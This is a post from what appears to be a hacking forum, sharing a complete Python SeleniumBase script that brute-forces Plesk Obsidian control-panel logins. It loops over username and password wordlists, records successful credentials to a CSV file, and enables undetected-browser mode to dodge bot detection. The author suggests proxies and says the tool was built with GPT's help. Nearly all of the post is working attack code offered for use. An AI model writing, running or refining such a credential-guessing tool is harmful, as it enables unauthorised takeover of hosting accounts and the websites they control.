• XSS.stack #1 – первый литературный журнал от юзеров форума

Plesk Obsidian Checker

valhalla

(L3) cache
Пользователь
Регистрация
26.10.2020
Сообщения
156
Реакции
48
GPT and I had a little talk about SeleniumBase and I would also like to point out as someone else has that it's 100% better than plain old Selenium.

Python:
import os
import csv
import pytest
from seleniumbase import BaseCase
from seleniumbase.config import settings

def configuration_wizard():
    print("Introducing the Biden Administration Bruteforce Wizard.")
    print("Breaking passwords faster than Biden breaks promises!")
    
    plesk_url = input("Enter the URL of your Plesk Obsidian login page: ").strip()
    
    while True:
        username_file = input("Enter the path to your username txt file (each username on a new line): ").strip()
        if os.path.exists(username_file):
            break
        print(f"File not found: {username_file}. Please try again.")
    
    while True:
        password_file = input("Enter the path to your password txt file (each password on a new line): ").strip()
        if os.path.exists(password_file):
            break
        print(f"File not found: {password_file}. Please try again.")
    
    results_file = input("Enter the path to save the results CSV file: ").strip()
    
    default_selectors = {
        "username": "input[name='username']",
        "password": "input[name='password']",
        "submit": "button[type='submit']"
    }
    
    print("\nDefault form selectors:")
    for key, value in default_selectors.items():
        print(f"{key}: {value}")
    
    use_defaults = input("\nDo you want to use the default selectors? (yes/no): ").strip().lower()
    if use_defaults == "no":
        username_selector = input("Enter the CSS selector for the username field: ").strip()
        password_selector = input("Enter the CSS selector for the password field: ").strip()
        submit_selector = input("Enter the CSS selector for the submit button: ").strip()
    else:
        username_selector = default_selectors["username"]
        password_selector = default_selectors["password"]
        submit_selector = default_selectors["submit"]
    
    return plesk_url, username_file, password_file, results_file, username_selector, password_selector, submit_selector

def log_result(results_file, username, password, status):
    with open(results_file, 'a', newline='') as file:
        writer = csv.writer(file)
        writer.writerow([username, password, status])

class PleskBruteForceTest(BaseCase):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.plesk_url = ""
        self.username_file = ""
        self.password_file = ""
        self.results_file = ""
        self.username_selector = ""
        self.password_selector = ""
        self.submit_selector = ""

    def login_attempt(self, username, password):
        try:
            self.open(self.plesk_url)
            self.type(self.username_selector, username)
            self.type(self.password_selector, password)
            self.click(self.submit_selector)
            self.sleep(1) 

            if not self.is_element_visible(self.username_selector):
                print(f"Login successful with username: {username} and password: {password}")
                log_result(self.results_file, username, password, "Success")
                return True
            else:
                log_result(self.results_file, username, password, "Failed")
                return False
        except Exception as e:
            print(f"An error occurred during login attempt: {e}")
            log_result(self.results_file, username, password, f"Error: {e}")
            return False

    @pytest.mark.bruteforce
    def test_bruteforce_passwords(self):
        try:
            with open(self.username_file, 'r') as user_file:
                usernames = user_file.read().splitlines()
            
            with open(self.password_file, 'r') as pass_file:
                passwords = pass_file.read().splitlines()
            
            for username in usernames:
                for password in passwords:
                    self.login_attempt(username, password)

        except Exception as e:
            print(f"An error occurred: {e}")

if __name__ == "__main__":
    plesk_url, username_file, password_file, results_file, username_selector, password_selector, submit_selector = configuration_wizard()
    
    with open(results_file, 'w', newline='') as file:
        writer = csv.writer(file)
        writer.writerow(["Username", "Password", "Status"])
    
    PleskBruteForceTest.plesk_url = plesk_url
    PleskBruteForceTest.username_file = username_file
    PleskBruteForceTest.password_file = password_file
    PleskBruteForceTest.results_file = results_file
    PleskBruteForceTest.username_selector = username_selector
    PleskBruteForceTest.password_selector = password_selector
    PleskBruteForceTest.submit_selector = submit_selector

    settings.UC_DRIVER_MODE = True
    
    pytest.main(["-v", "--html=report.html", "--tb=short"])

This was only tested on my own PC against my local Plesk setup so you may have to modify this for better results with proxies and maybe better error handling. I have left it easy to use on purpose but if you have more questions discuss with GPT.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх